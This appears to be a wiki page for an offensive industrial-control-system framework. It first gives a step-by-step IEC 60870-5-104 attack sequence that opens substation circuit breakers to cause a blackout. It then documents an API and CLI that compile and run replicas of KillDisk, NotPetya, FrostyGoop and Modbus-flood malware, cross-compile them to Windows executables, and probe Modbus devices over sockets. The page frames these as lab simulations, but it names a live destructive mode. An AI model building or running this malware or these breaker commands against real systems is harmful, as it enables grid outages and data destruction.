        Scan IEC 104 default port TCP/2404 across target network
        Enumerate RTUs responding to STARTDT (start data transfer) command
        Identify substation RTUs: circuit breaker controllers, protection relays

      Phase 2: IEC 104 Session Establishment
        Send STARTDT_ACT (U-frame) to initiate data transfer
        Receive STARTDT_CON (confirmation from RTU)
        Send TESTFR_ACT (keep-alive) every 20 seconds to maintain session

      Phase 3: Information Object Enumeration
        Send Interrogation Command (C_IC_NA_1, TypeID=100) to dump all RTU data
        Parse General Interrogation response: current circuit breaker states
        Map: Information Object Address → physical breaker/switch position

      Phase 4: Control Command Injection (LIGHTWORK technique)
        Send Single Command (C_SC_NA_1, TypeID=45) with:
          - IOA: target breaker address
          - SCO: 0x01 (ON) or 0x00 (OFF)
          - COT: 0x06 (Activation)
        Effect: RTU executes breaker open/close command
        Physical: Circuit breaker opens → load shedding → blackout in grid zone

      Target:  192.168.1.100:2404 (IEC 60870-5-104 RTU)
      Impact:  Circuit breaker manipulation → targeted grid blackout
               LIGHTWORK can target multiple IOAs in sequence (substation-wide)

  [i] MITRE ATT&CK for ICS:
      T0855 (Unauthorized Command Message)
      T0831 (Manipulation of Control)
      T0816 (Device Restart/Shutdown)
  ─────────────────────────────────────────────────────────────────────
  [i] Reference: https://www.mandiant.com/resources/blog/cosmicenergy-ot-malware
  [i] Reference: https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a
  [i] Run with simulate=False and destructive=True to execute live
      (authorized lab environments only)

PolyExploitRunner Python API — All Methods

from industrialxpl.core.poly.poly_runner import PolyExploitRunner

Constructor

runner = PolyExploitRunner(
    build_dir: str = ".tmp/malware_builds",   # Output directory for compiled artifacts
    timeout: int = 60,                         # Maximum execution time per command (seconds)
    verbose: bool = False,                     # Print compiler output to stdout
)

get_available_runtimes()

Returns a dict of runtime name to availability boolean.

runner = PolyExploitRunner()
available = runner.get_available_runtimes()
print(available)
# {
#   'gcc': True, 'g++': True, 'go': True, 'node': False,
#   'java': False, 'ruby': False, 'pwsh': False, 'perl': True,
#   'mingw-gcc': True, 'cl.exe': False
# }

run_with_fallback()

Runs an external runtime command, falling back to a Python function if the runtime is unavailable.

def my_python_fallback(target: str) -> None:
    """Python implementation of the same logic."""
    import socket
    s = socket.socket()
    s.connect((target, 502))
    s.send(b'\x00\x01\x00\x00\x00\x06\x01\x04\x00\x00\x00\x01')
    data = s.recv(16)
    s.close()
    print("Response:", data.hex())

returncode, stdout, stderr = runner.run_with_fallback(
    runtime="ruby",
    external_cmd=["ruby", "exploits/modbus_scan.rb", "--target", "192.168.1.1"],
    python_fallback=my_python_fallback,
    args=("192.168.1.1",),
    kwargs={},
    timeout=30,
)
print("Exit:", returncode)
print("Stdout:", stdout)

compile_and_run_c()

Compiles a C source file with gcc and runs the resulting binary.

returncode, stdout, stderr = runner.compile_and_run_c(
    source_file="industrialxpl/modules/cve/malware/_native/src/modbus_flood.c",
    compile_flags=["-O2", "-Wall", "-pthread"],
    args=["--target", "192.168.1.1", "--simulate"],
    timeout=30,
)
print("Exit:", returncode)
print("Output:", stdout)

compile_and_run_cpp()

Compiles a C++ source file with g++ and runs the resulting binary.

returncode, stdout, stderr = runner.compile_and_run_cpp(
    source_file="industrialxpl/modules/cve/malware/_native/src/s7_watchdog.cpp",
    compile_flags=["-O2", "-std=c++17", "-Wall"],
    args=["--target", "192.168.1.5", "--simulate"],
    timeout=30,
)

compile_and_run_c_windows()

Cross-compiles a C source for Windows using MinGW and runs it via Wine (Linux) or directly (Windows).

returncode, stdout, stderr = runner.compile_and_run_c_windows(
    source_file="industrialxpl/modules/cve/malware/_native/src/killdisk.c",
    compile_flags=["-O2", "-Wall"],
    args=["--simulate"],
    timeout=30,
)
# On Linux: requires mingw-w64 for compilation, wine for execution
# On Windows: uses cl.exe or mingw directly

run_go()

Builds and runs a Go source file or package directory.

returncode, stdout, stderr = runner.run_go(
    source_file="industrialxpl/modules/cve/malware/_native/src/frostygoop/",
    args=["--target", "192.168.1.100", "--simulate"],
    go_env={"GOOS": "linux", "GOARCH": "amd64"},
    timeout=60,
)

run_ruby()

Runs a Ruby script with optional Python fallback.

returncode, stdout, stderr = runner.run_ruby(
    script_file="exploits/protocols/modbus/modbus_scan.rb",
    args=["--target", "192.168.1.1"],
    python_fallback=my_python_modbus_scan,
    python_args=("192.168.1.1",),
    timeout=30,
)

run_powershell()

Runs a PowerShell script (cross-platform via pwsh).

returncode, stdout, stderr = runner.run_powershell(
    script_file="exploits/windows/ews_exploit.ps1",
    args=["-Target", "192.168.1.1", "-Simulate"],
    python_fallback=my_python_ews_exploit,
    timeout=60,
)

run_node()

Runs a Node.js script.

returncode, stdout, stderr = runner.run_node(
    script_file="exploits/protocols/enip/enip_list_identity.js",
    args=["--target", "192.168.1.1", "--simulate"],
    python_fallback=my_python_enip_scan,
    timeout=30,
)

env_report()

Prints the full environment report (same as python tools/env_doctor.py).

runner.env_report()
# Prints full Tier 0-3 status to stdout

build_malware_artifact()

Compiles a named malware builder target and returns the binary path.

binary_path = runner.build_malware_artifact(
    target="frostygoop",    # killdisk / notpetya / frostygoop / modbus_flood / s7_watchdog
    cross_windows=False,    # Set True to cross-compile for Windows
)
# Returns: ".tmp/malware_builds/frostygoop" (or None on build failure)
print("Built:", binary_path)

Return Value Format

All run_* methods return a 3-tuple: (returncode: int, stdout: str, stderr: str).

Field Type Description
returncode int Process exit code. 0 = success, -1 = runtime not found or timeout, >0 = runtime error
stdout str Captured standard output from the process
stderr str Captured standard error output from the process

Return code meanings:

Code Meaning
0 Successful execution
-1 Runtime not found (e.g., gcc not installed), or Python fallback was used
-2 Execution timed out (exceeded timeout parameter)
1 Runtime error (compilation error, script exception)
>1 Runtime-specific exit codes (see individual tool docs)

Example usage:

returncode, stdout, stderr = runner.compile_and_run_c(
    source_file="src/modbus_flood.c",
    args=["--simulate"],
)

if returncode == 0:
    print("Success:", stdout)
elif returncode == -1:
    print("gcc not available — Python fallback was used")
elif returncode == -2:
    print("Execution timed out")
else:
    print(f"Error (code {returncode}):", stderr)

Python Fallback Mechanism

When an external runtime is not available, PolyExploitRunner automatically uses the registered Python fallback. This is transparent to the caller — the return value format is the same.

How fallback is selected:

run_with_fallback() called
        │
        ▼
Check runtime availability (get_available_runtimes())
        │
   available?
   ┌─ YES ─────────────────────────────────────────────┐
   │  Execute external runtime command via subprocess   │
   │  Capture stdout, stderr, returncode               │
   │  Return (returncode, stdout, stderr)              │
   └───────────────────────────────────────────────────┘
   ┌─ NO ──────────────────────────────────────────────┐
   │  Call python_fallback(*args, **kwargs)            │
   │  Capture stdout via io.StringIO redirect           │
   │  Return (-1, captured_output, "fallback used")    │
   └───────────────────────────────────────────────────┘

Full fallback example:

import io
import contextlib
from industrialxpl.core.poly.poly_runner import PolyExploitRunner

runner = PolyExploitRunner()

def python_modbus_scan(target: str, port: int = 502) -> None:
    """Pure Python Modbus scanner (Tier 0 — no dependencies)."""
    import socket, struct
    probe = struct.pack(">HHHBBHH", 1, 0, 6, 1, 0x04, 0, 1)
    try:
        s = socket.socket()
        s.settimeout(5)
        s.connect((target, port))
        s.send(probe)
        resp = s.recv(16)
        s.close()
        if resp[0:2] == b'\x00\x01':
            print(f"[+] Modbus device at {target}:{port}")
        else:
            print(f"[-] No Modbus at {target}:{port}")
    except Exception as e:
        print(f"[!] Error: {e}")

# If ruby is not installed, python_modbus_scan() is called transparently
returncode, stdout, stderr = runner.run_with_fallback(
    runtime="ruby",
    external_cmd=["ruby", "exploits/modbus_scan.rb", "--target", "192.168.1.1"],
    python_fallback=python_modbus_scan,
    args=("192.168.1.1", 502),
)

if returncode == -1:
    print("Used Python fallback (ruby not available)")
else:
    print("Used ruby runtime")

print("Output:", stdout)

Cross-Compilation for Windows from Linux

IXF supports cross-compiling Windows PE executables from Linux using MinGW-w64. This is useful when testing Windows-targeted malware TTPs (KillDisk, NotPetya) from a Linux-based lab.

Requirements

# Install MinGW-w64 cross-compiler
apt install mingw-w64 wine

# Verify
x86_64-w64-mingw32-gcc --version
wine --version

Building Windows EXE

# Cross-compile killdisk for Windows
python industrialxpl/modules/cve/malware/_native/malware_builder.py \
  --target killdisk \
  --cross-windows

# Output:
# [BUILD] x86_64-w64-mingw32-gcc -O2 -Wall -o .tmp/malware_builds/killdisk.exe src/killdisk.c
# [OK]    .tmp/malware_builds/killdisk.exe (42 KB) — windows/amd64

Running Windows EXE in simulate mode (via Wine)

# Test simulate output via Wine on Linux
wine .tmp/malware_builds/killdisk.exe --simulate

Output:

[IXF] KillDisk MBR Wiper — BlackEnergy3/Industroyer Replica
[Windows PE — wine execution]
[SIMULATION — no disk writes]
...
(same output as Linux version)

Build all for Windows

python industrialxpl/modules/cve/malware/_native/malware_builder.py \
  --all --cross-windows

Output:

[IXF Malware Builder] Building all targets for Windows (MinGW cross-compile)
════════════════════════════════════════════════════════════

[1/5] killdisk.exe (C — x86_64-w64-mingw32-gcc)
  [BUILD] x86_64-w64-mingw32-gcc -O2 -Wall -o .tmp/malware_builds/killdisk.exe src/killdisk.c
  [OK]    .tmp/malware_builds/killdisk.exe (42 KB)

[2/5] notpetya.exe (CPP — x86_64-w64-mingw32-g++)
  [BUILD] x86_64-w64-mingw32-g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/notpetya.exe src/notpetya.cpp
  [OK]    .tmp/malware_builds/notpetya.exe (61 KB)

[3/5] frostygoop.exe (GO — GOOS=windows GOARCH=amd64)
  [BUILD] GOOS=windows GOARCH=amd64 go build -o .tmp/malware_builds/frostygoop.exe ./src/frostygoop/...
  [OK]    .tmp/malware_builds/frostygoop.exe (2.3 MB)

[4/5] modbus_flood.exe (C — x86_64-w64-mingw32-gcc)
  [BUILD] x86_64-w64-mingw32-gcc -O2 -Wall -pthread -o .tmp/malware_builds/modbus_flood.exe src/modbus_flood.c
  [OK]    .tmp/malware_builds/modbus_flood.exe (26 KB)

[5/5] s7_watchdog.exe (CPP — x86_64-w64-mingw32-g++)
  [BUILD] x86_64-w64-mingw32-g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/s7_watchdog.exe src/s7_watchdog.cpp
  [OK]    .tmp/malware_builds/s7_watchdog.exe (53 KB)

════════════════════════════════════════════════════════════
[Summary] 5/5 Windows targets built successfully
  Output: .tmp/malware_builds/*.exe
  Test:   wine .tmp/malware_builds/killdisk.exe --simulate
════════════════════════════════════════════════════════════

Python API for cross-compilation

from industrialxpl.core.poly.poly_runner import PolyExploitRunner

runner = PolyExploitRunner()

# Check MinGW availability
runtimes = runner.get_available_runtimes()
if runtimes.get("mingw-gcc"):
    binary_path = runner.build_malware_artifact(
        target="killdisk",
        cross_windows=True,  # Produces .exe
    )
    print("Windows binary:", binary_path)  # .tmp/malware_builds/killdisk.exe

    # Run via Wine for simulate test
    returncode, stdout, stderr = runner.run_with_fallback(
        runtime="wine",
        external_cmd=["wine", binary_path, "--simulate"],
        python_fallback=None,  # No Python fallback for Wine execution
    )
    print("Simulate output:", stdout)
else:
    print("MinGW not available — install: apt install mingw-w64")

Previous: CLI Non-Interactive | Next: Assessment & Compliance

Clone this wiki locally